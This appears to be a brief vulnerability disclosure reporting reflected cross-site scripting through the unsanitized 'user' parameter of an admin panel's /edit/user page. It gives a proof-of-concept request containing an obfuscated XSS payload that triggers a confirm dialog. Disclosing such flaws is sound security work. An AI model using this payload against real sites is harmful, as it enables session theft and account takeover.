Description

The user-controlled GET user parameter in index.php is unsanitized resulting in Cross-Site Scripting.

Proof of Concept

Endpoint:

GET https://{HOST}/edit/user

**File: /web/edit/user/index.php#L11

// Check user argument
if (empty($_GET['user'])) {
    header("Location: /list/user/");
    exit;
}

Request

https://{HOST}/edit/user/?user=<htmL/+/OnpOintEReNTEr%0d=%0d["XSS-HERE"].find(confirm)//&token=1fb3da5a8992ed8fd9d95cfe828457d4

Impact

This vulnerability is capable of running malicious Javascript code on web pages, stealing a user's cookie and gaining unauthorized access to that user's account through the stolen cookie.